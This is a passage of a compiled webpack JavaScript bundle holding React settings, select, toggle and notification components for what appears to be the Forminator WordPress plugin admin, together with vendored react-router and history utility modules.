{ className: 'sui-box-settings-col-1' },
label,
description
);
}
var conditionalStyles = this.props.lastChild ? { marginBottom: 0, borderBottom: 'unset' } : {};
return _react2.default.createElement(
'div',
{ className: 'sui-box-settings-row', style: conditionalStyles },
(_.isUndefined(this.props.sidebar) || this.props.sidebar !== false) && sidebar,
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-2' },
!_.isUndefined(this.props.sidebar) && this.props.sidebar === false && label,
!_.isUndefined(this.props.sidebar) && this.props.sidebar === false && description,
content
)
);
}
}]);
return SettingsRow;
}(_react.Component);
exports.default = SettingsRow;
/***/ }),
/* 17 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SuiSelect2 = function (_Component) {
_inherits(SuiSelect2, _Component);
function SuiSelect2(props) {
_classCallCheck(this, SuiSelect2);
var _this = _possibleConstructorReturn(this, (SuiSelect2.__proto__ || Object.getPrototypeOf(SuiSelect2)).call(this, props));
_this.updateValue = _this.updateValue.bind(_this);
_this.afterSave = _this.afterSave.bind(_this);
return _this;
}
_createClass(SuiSelect2, [{
key: 'componentDidMount',
value: function componentDidMount() {
this.$el = jQuery(this.el);
var parent = this.$el.closest('.sui-modal-content');
var parentId = parent.attr('id');
var hasSearch = this.props.hasSearch ? 0 : -1;
var options = Object.assign({
dropdownParent: parent.length ? jQuery('#' + parentId) : jQuery('body[class*="sui-"]'),
minimumResultsForSearch: hasSearch,
dropdownCssClass: this.$el.hasClass('sui-select-sm') ? 'sui-select-dropdown-sm' : '',
width: '100%'
}, this.props.options);
if (typeof this.$el.SUIselect2 === 'function') {
this.$el.SUIselect2(options);
} else if (typeof this.$el.FUIselect2 === 'function') {
this.$el.FUIselect2(options);
} else {
throw Error('SUI Select2 not initiated');
}
this.updateValue = this.updateValue.bind(this);
this.$el.on('change', this.updateValue);
if (this.props.triggerChange) {
this.$el.trigger('change');
}
}
}, {
key: 'updateValue',
value: function updateValue(e) {
var value = jQuery(e.target).val();
// Check if we're on field settings
if (typeof this.props.updateProperty === 'function') {
// Update field state
this.props.updateProperty(this.props.property, value);
} else {
// Update store
this.props.actions.settingsActions.updateSetting(this.props.property, value);
}
this.afterSave(value);
}
}, {
key: 'afterSave',
value: function afterSave() {
return false;
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
this.$el.off('change', this.updateValue);
this.$el.unbind().removeData();
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = _.isUndefined(this.props.settings[this.props.property]) ? this.props.defaultValue : this.props.settings[this.props.property];
var divClass = !_.isUndefined(this.props.fieldClass) ? 'sui-form-field ' + this.props.fieldClass : 'sui-form-field';
var selectId = !_.isUndefined(this.props.elementId) ? this.props.elementId : this.props.property;
var inputLabel = void 0;
if (this.props.label) {
inputLabel = _react2.default.createElement(
'label',
{
htmlFor: 'forminator-field-' + this.props.property,
className: 'sui-label'
},
this.props.label,
'\xA0',
this.props.required && _react2.default.createElement(
'span',
{ className: 'sui-error' },
' *'
),
this.props.note && _react2.default.createElement(
'span',
{ className: 'sui-label-note' },
this.props.note
)
);
}
var multiple = this.props.multiple;
var _props = this.props,
formType = _props.formType,
updateProperty = _props.updateProperty,
noWrapper = _props.noWrapper,
fieldClass = _props.fieldClass,
staticContext = _props.staticContext,
formDesign = _props.formDesign,
fieldSize = _props.fieldSize,
selectProps = _objectWithoutProperties(_props, ['formType', 'updateProperty', 'noWrapper', 'fieldClass', 'staticContext', 'formDesign', 'fieldSize']);
var getSelect = _react2.default.createElement(
'select',
_extends({
id: 'forminator-field-' + selectId,
className: 'sui-select',
ref: function ref(el) {
return _this2.el = el;
},
defaultValue: value,
multiple: multiple
}, selectProps),
this.props.children
);
var getElement = _react2.default.createElement(
'select',
{
id: 'forminator-field-' + selectId,
className: 'sui-select',
ref: function ref(el) {
return _this2.el = el;
},
defaultValue: value,
multiple: multiple
},
this.props.children
);
if ('md' === this.props.fieldsize || 'medium' === this.props.fieldsize) {
getElement = _react2.default.createElement(
'div',
{ className: 'sui-form-field sui-input-md' },
getSelect
);
} else if ('sm' === this.props.fieldsize || 'small' === this.props.fieldsize) {
getElement = _react2.default.createElement(
'div',
{ className: 'sui-form-field sui-input-sm' },
getSelect
);
} else if (!_.isUndefined(this.props.fieldsize) && '' !== this.props.fieldsize) {
getElement = _react2.default.createElement(
'div',
{ style: { width: '100%', maxWidth: this.props.fieldsize + 'px' } },
getSelect
);
}
if (this.props.noWrapper) {
return getSelect;
}
return _react2.default.createElement(
'div',
{ className: divClass },
inputLabel,
getElement,
this.props.description && _react2.default.createElement(
'span',
{
className: 'sui-description',
style: { marginTop: '10px' }
},
this.props.description
)
);
}
}]);
return SuiSelect2;
}(_react.Component);
exports.default = SuiSelect2;
/***/ }),
/* 18 */,
/* 19 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright (c) 2014-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @providesModule warning
*/
/**
* Similar to invariant but only logs a warning if the condition is not met.
* This can be used to log issues in development environments in critical
* paths. Removing the logging code for production environments will keep the
* same logic and follow the same code paths.
*/
var __DEV__ = process.env.NODE_ENV !== 'production';
var warning = function() {};
if (__DEV__) {
var printWarning = function printWarning(format, args) {
var len = arguments.length;
args = new Array(len > 2 ? len - 2 : 0);
for (var key = 2; key < len; key++) {
args[key - 2] = arguments[key];
}
var argIndex = 0;
var message = 'Warning: ' +
format.replace(/%s/g, function() {
return args[argIndex++];
});
if (typeof console !== 'undefined') {
console.error(message);
}
try {
// --- Welcome to debugging React ---
// This error was thrown as a convenience so that you can use this stack
// to find the callsite that caused this warning to fire.
throw new Error(message);
} catch (x) {}
}
warning = function(condition, format, args) {
var len = arguments.length;
args = new Array(len > 2 ? len - 2 : 0);
for (var key = 2; key < len; key++) {
args[key - 2] = arguments[key];
}
if (format === undefined) {
throw new Error(
'`warning(condition, format, ...args)` requires a warning ' +
'message argument'
);
}
if (!condition) {
printWarning.apply(null, [format].concat(args));
}
};
}
module.exports = warning;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 20 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var SuiSelect = function (_Component) {
_inherits(SuiSelect, _Component);
function SuiSelect(props) {
_classCallCheck(this, SuiSelect);
var _this = _possibleConstructorReturn(this, (SuiSelect.__proto__ || Object.getPrototypeOf(SuiSelect)).call(this, props));
_this.updateValue = _this.updateValue.bind(_this);
return _this;
}
_createClass(SuiSelect, [{
key: 'componentDidMount',
value: function componentDidMount() {
this.$el = jQuery(this.el);
// SUI.select.init( this.$el );
this.updateValue = this.updateValue.bind(this);
this.$el.on('change', this.updateValue);
}
}, {
key: 'updateValue',
value: function updateValue(e) {
var value = e.target.value;
// Check if we're on field settings
if (typeof this.props.updateProperty === 'function') {
// Update field state
this.props.updateProperty(this.props.property, value);
} else {
// Update store
this.props.actions.settingsActions.updateSetting(this.props.property, value);
}
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
this.$el.off('change', this.updateValue);
this.$el.unbind().removeData();
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = _.isUndefined(this.props.settings[this.props.property]) ? this.props.defaultValue : this.props.settings[this.props.property];
var fieldClass = !_.isUndefined(this.props.fieldClass) ? 'sui-form-field ' + this.props.fieldClass : 'sui-form-field';
var selectClass = !_.isUndefined(this.props.elementClass) ? this.props.elementClass : '';
var selectId = !_.isUndefined(this.props.elementId) ? this.props.elementId : this.props.property;
var selectLabel = '';
if (this.props.label) {
selectLabel = _react2.default.createElement(
'label',
{
htmlFor: 'forminator-field-' + this.props.property,
id: 'forminator-field-' + this.props.property + '-label',
className: 'sui-label'
},
this.props.label,
'\xA0',
this.props.required && _react2.default.createElement(
'span',
{ className: 'sui-error' },
' *'
),
this.props.note && _react2.default.createElement(
'span',
{ className: 'sui-label-note' },
this.props.note
)
);
}
// For backwards compatibility.
if (!_.isUndefined(value) && ('phone_national_country' === this.props.property || 'phone_international_country' === this.props.property)) {
value = value.toLowerCase();
}
var selectField = _react2.default.createElement(
'select',
{
defaultValue: value,
id: 'forminator-field-' + selectId,
className: selectClass,
'aria-labelledby': 'forminator-field-' + selectId + '-label',
ref: function ref(el) {
return _this2.el = el;
},
style: { maxWidth: 'none' }
},
this.props.children
);
var getElement = selectField;
if ('md' === this.props.fieldsize || 'medium' === this.props.fieldsize) {
getElement = _react2.default.createElement(
'div',
{ className: 'sui-form-field sui-input-md' },
selectField
);
} else if ('sm' === this.props.fieldsize || 'small' === this.props.fieldsize) {
getElement = _react2.default.createElement(
'div',
{ className: 'sui-form-field sui-input-sm' },
selectField
);
} else if ('' !== this.props.fieldsize) {
getElement = _react2.default.createElement(
'div',
{ style: { width: '100%', maxWidth: this.props.fieldsize + 'px' } },
selectField
);
}
var getField = getElement;
if (!this.props.simple) {
getField = _react2.default.createElement(
'div',
{ className: fieldClass },
selectLabel,
getElement,
this.props.description && _react2.default.createElement(
'span',
{
className: 'sui-description',
style: { marginTop: '10px' }
},
this.props.description
)
);
}
return getField;
}
}]);
return SuiSelect;
}(_react.Component);
exports.default = SuiSelect;
/***/ }),
/* 21 */,
/* 22 */,
/* 23 */
/***/ (function(module, exports) {
module.exports = ReactDOM;
/***/ }),
/* 24 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__createBrowserHistory__ = __webpack_require__(140);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return __WEBPACK_IMPORTED_MODULE_0__createBrowserHistory__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__createHashHistory__ = __webpack_require__(143);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return __WEBPACK_IMPORTED_MODULE_1__createHashHistory__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__createMemoryHistory__ = __webpack_require__(144);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "d", function() { return __WEBPACK_IMPORTED_MODULE_2__createMemoryHistory__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__LocationUtils__ = __webpack_require__(34);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "c", function() { return __WEBPACK_IMPORTED_MODULE_3__LocationUtils__["a"]; });
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "f", function() { return __WEBPACK_IMPORTED_MODULE_3__LocationUtils__["b"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__PathUtils__ = __webpack_require__(28);
/* unused harmony reexport parsePath */
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "e", function() { return __WEBPACK_IMPORTED_MODULE_4__PathUtils__["b"]; });
/***/ }),
/* 25 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Toggle = function (_Component) {
_inherits(Toggle, _Component);
function Toggle(props) {
_classCallCheck(this, Toggle);
var _this = _possibleConstructorReturn(this, (Toggle.__proto__ || Object.getPrototypeOf(Toggle)).call(this, props));
_this.updateValue = _this.updateValue.bind(_this);
return _this;
}
_createClass(Toggle, [{
key: 'updateValue',
value: function updateValue(value) {
// Check if we're on field settings
if (typeof this.props.updateProperty === 'function') {
// Update field state
this.props.updateProperty(this.props.property, value);
} else {
// Update store
this.props.actions.settingsActions.updateSetting(this.props.property, value);
}
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = _.isUndefined(this.props.settings[this.props.property]) ? '' : this.props.settings[this.props.property];
var customClass = !_.isUndefined(this.props.customClass) ? this.props.customClass : 'sui-form-control';
var disabled = !_.isUndefined(this.props.disabled) && this.props.disabled;
var checked = value && !disabled;
var toggleContent = _react2.default.createElement(
'label',
{ htmlFor: 'forminator-field-' + this.props.property,
className: 'sui-toggle'
},
_react2.default.createElement('input', { type: 'checkbox',
value: 'true',
id: 'forminator-field-' + this.props.property,
className: customClass,
disabled: disabled ? 'disabled' : '',
checked: checked ? 'checked' : '',
onChange: function onChange(e) {
_this2.updateValue(e.target.checked);
}
}),
_react2.default.createElement('span', { className: 'sui-toggle-slider' }),
this.props.label && _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'span',
{ className: 'sui-screen-reader-text' },
(0, _utils.translate)('Enable'),
' ',
this.props.label
),
_react2.default.createElement(
'span',
{ className: 'sui-toggle-label' },
this.props.label
)
),
this.props.description && _react2.default.createElement(
'span',
{ className: 'sui-description sui-toggle-description' },
this.props.description
)
);
var subToggle = '';
if (this.props.children && this.props.settings[this.props.property]) {
subToggle = _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'div',
{
tabIndex: '0',
className: 'sui-toggle-content sui-border-frame',
'aria-label': this.props.label
},
this.props.children
)
);
}
if (this.props.unWrap) {
return _react2.default.createElement(
_react2.default.Fragment,
null,
toggleContent,
subToggle
);
}
if (!this.props.unWrap) {
return _react2.default.createElement(
'div',
{ className: 'sui-form-field' },
toggleContent,
subToggle
);
}
}
}]);
return Toggle;
}(_react.Component);
exports.default = Toggle;
/***/ }),
/* 26 */,
/* 27 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__BrowserRouter__ = __webpack_require__(139);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "BrowserRouter", function() { return __WEBPACK_IMPORTED_MODULE_0__BrowserRouter__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__HashRouter__ = __webpack_require__(145);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "HashRouter", function() { return __WEBPACK_IMPORTED_MODULE_1__HashRouter__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__Link__ = __webpack_require__(75);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Link", function() { return __WEBPACK_IMPORTED_MODULE_2__Link__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__MemoryRouter__ = __webpack_require__(146);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "MemoryRouter", function() { return __WEBPACK_IMPORTED_MODULE_3__MemoryRouter__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__NavLink__ = __webpack_require__(148);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "NavLink", function() { return __WEBPACK_IMPORTED_MODULE_4__NavLink__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__Prompt__ = __webpack_require__(150);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Prompt", function() { return __WEBPACK_IMPORTED_MODULE_5__Prompt__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_6__Redirect__ = __webpack_require__(152);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Redirect", function() { return __WEBPACK_IMPORTED_MODULE_6__Redirect__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_7__Route__ = __webpack_require__(76);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Route", function() { return __WEBPACK_IMPORTED_MODULE_7__Route__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_8__Router__ = __webpack_require__(47);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Router", function() { return __WEBPACK_IMPORTED_MODULE_8__Router__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_9__StaticRouter__ = __webpack_require__(154);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "StaticRouter", function() { return __WEBPACK_IMPORTED_MODULE_9__StaticRouter__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_10__Switch__ = __webpack_require__(156);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "Switch", function() { return __WEBPACK_IMPORTED_MODULE_10__Switch__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_11__generatePath__ = __webpack_require__(158);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "generatePath", function() { return __WEBPACK_IMPORTED_MODULE_11__generatePath__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_12__matchPath__ = __webpack_require__(159);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "matchPath", function() { return __WEBPACK_IMPORTED_MODULE_12__matchPath__["a"]; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_13__withRouter__ = __webpack_require__(160);
/* harmony reexport (binding) */ __webpack_require__.d(__webpack_exports__, "withRouter", function() { return __WEBPACK_IMPORTED_MODULE_13__withRouter__["a"]; });
/***/ }),
/* 28 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return addLeadingSlash; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "f", function() { return stripLeadingSlash; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "c", function() { return hasBasename; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "e", function() { return stripBasename; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "g", function() { return stripTrailingSlash; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "d", function() { return parsePath; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return createPath; });
var addLeadingSlash = function addLeadingSlash(path) {
return path.charAt(0) === '/' ? path : '/' + path;
};
var stripLeadingSlash = function stripLeadingSlash(path) {
return path.charAt(0) === '/' ? path.substr(1) : path;
};
var hasBasename = function hasBasename(path, prefix) {
return new RegExp('^' + prefix + '(\\/|\\?|#|$)', 'i').test(path);
};
var stripBasename = function stripBasename(path, prefix) {
return hasBasename(path, prefix) ? path.substr(prefix.length) : path;
};
var stripTrailingSlash = function stripTrailingSlash(path) {
return path.charAt(path.length - 1) === '/' ? path.slice(0, -1) : path;
};
var parsePath = function parsePath(path) {
var pathname = path || '/';
var search = '';
var hash = '';
var hashIndex = pathname.indexOf('#');
if (hashIndex !== -1) {
hash = pathname.substr(hashIndex);
pathname = pathname.substr(0, hashIndex);
}
var searchIndex = pathname.indexOf('?');
if (searchIndex !== -1) {
search = pathname.substr(searchIndex);
pathname = pathname.substr(0, searchIndex);
}
return {
pathname: pathname,
search: search === '?' ? '' : search,
hash: hash === '#' ? '' : hash
};
};
var createPath = function createPath(location) {
var pathname = location.pathname,
search = location.search,
hash = location.hash;
var path = pathname || '/';
if (search && search !== '?') path += search.charAt(0) === '?' ? search : '?' + search;
if (hash && hash !== '#') path += hash.charAt(0) === '#' ? hash : '#' + hash;
return path;
};
/***/ }),
/* 29 */,
/* 30 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var Notification = function (_Component) {
_inherits(Notification, _Component);
function Notification(props) {
_classCallCheck(this, Notification);
return _possibleConstructorReturn(this, (Notification.__proto__ || Object.getPrototypeOf(Notification)).call(this, props));
}
_createClass(Notification, [{
key: 'initialize',
value: function initialize() {
if (!jQuery('.sui-floating-notices').length) {
jQuery('main.sui-wrap').prepend('<div class="sui-floating-notices"></div>');
}
if (!jQuery('#forminator-notification').length) {
jQuery('.sui-floating-notices').append('<div role="alert" id="forminator-notification" class="sui-notice" aria-live="assertive"></div>');
} else {
jQuery('#forminator-notification').remove();
this.initialize();
}
this.$notification = jQuery('#forminator-notification');
}
}, {
key: 'open',
value: function open() {
this.initialize();
var noticeId = 'forminator-notification';
var noticeMessage = '<p>' + this.props.text + '</p>';
var noticeOptions = {
type: this.props.type || 'default',
autoclose: {
timeout: this.props.time || 5000
},
dismiss: {
show: this.props.dismiss || false
}
};
SUI.openNotice(noticeId, noticeMessage, noticeOptions);
}
}, {
key: 'close',
value: function close() {
var noticeId = 'forminator-notification';
SUI.closeNotice(noticeId);
}
}]);
return Notification;
}(_react.Component);
exports.default = Notification;
/***/ }),
/* 31 */,
/* 32 */,
/* 33 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
* Copyright 2014-2015, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
/**
* Similar to invariant but only logs a warning if the condition is not met.
* This can be used to log issues in development environments in critical
* paths. Removing the logging code for production environments will keep the
* same logic and follow the same code paths.
*/
var warning = function() {};
if (process.env.NODE_ENV !== 'production') {
warning = function(condition, format, args) {
var len = arguments.length;
args = new Array(len > 2 ? len - 2 : 0);
for (var key = 2; key < len; key++) {
args[key - 2] = arguments[key];
}
if (format === undefined) {
throw new Error(
'`warning(condition, format, ...args)` requires a warning ' +
'message argument'
);
}
if (format.length < 10 || (/^[s\W]*$/).test(format)) {
throw new Error(
'The warning format should be able to uniquely identify this ' +
'warning. Please, use a more descriptive format than: ' + format
);
}
if (!condition) {
var argIndex = 0;
var message = 'Warning: ' +
format.replace(/%s/g, function() {
return args[argIndex++];
});
if (typeof console !== 'undefined') {
console.error(message);
}
try {
// This error was thrown as a convenience so that you can use this stack
// to find the callsite that caused this warning to fire.
throw new Error(message);
} catch(x) {}
}
};
}
module.exports = warning;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))
/***/ }),
/* 34 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return createLocation; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "b", function() { return locationsAreEqual; });
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_resolve_pathname__ = __webpack_require__(141);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_value_equal__ = __webpack_require__(142);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__PathUtils__ = __webpack_require__(28);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var createLocation = function createLocation(path, state, key, currentLocation) {
var location = void 0;
if (typeof path === 'string') {
// Two-arg form: push(path, state)
location = Object(__WEBPACK_IMPORTED_MODULE_2__PathUtils__["d" /* parsePath */])(path);
location.state = state;
} else {
// One-arg form: push(location)
location = _extends({}, path);
if (location.pathname === undefined) location.pathname = '';
if (location.search) {
if (location.search.charAt(0) !== '?') location.search = '?' + location.search;
} else {
location.search = '';
}
if (location.hash) {
if (location.hash.charAt(0) !== '#') location.hash = '#' + location.hash;
} else {
location.hash = '';
}
if (state !== undefined && location.state === undefined) location.state = state;
}
try {
location.pathname = decodeURI(location.pathname);
} catch (e) {
if (e instanceof URIError) {
throw new URIError('Pathname "' + location.pathname + '" could not be decoded. ' + 'This is likely caused by an invalid percent-encoding.');
} else {
throw e;
}
}
if (key) location.key = key;
if (currentLocation) {
// Resolve incomplete/relative pathname relative to current location.
if (!location.pathname) {
location.pathname = currentLocation.pathname;
} else if (location.pathname.charAt(0) !== '/') {
location.pathname = Object(__WEBPACK_IMPORTED_MODULE_0_resolve_pathname__["a" /* default */])(location.pathname, currentLocation.pathname);
}
} else {
// When there is no prior location and pathname is empty, set it to /
if (!location.pathname) {
location.pathname = '/';
}
}
return location;
};
var locationsAreEqual = function locationsAreEqual(a, b) {
return a.pathname === b.pathname && a.search === b.search && a.hash === b.hash && a.key === b.key && Object(__WEBPACK_IMPORTED_MODULE_1_value_equal__["a" /* default */])(a.state, b.state);
};
/***/ }),
/* 35 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
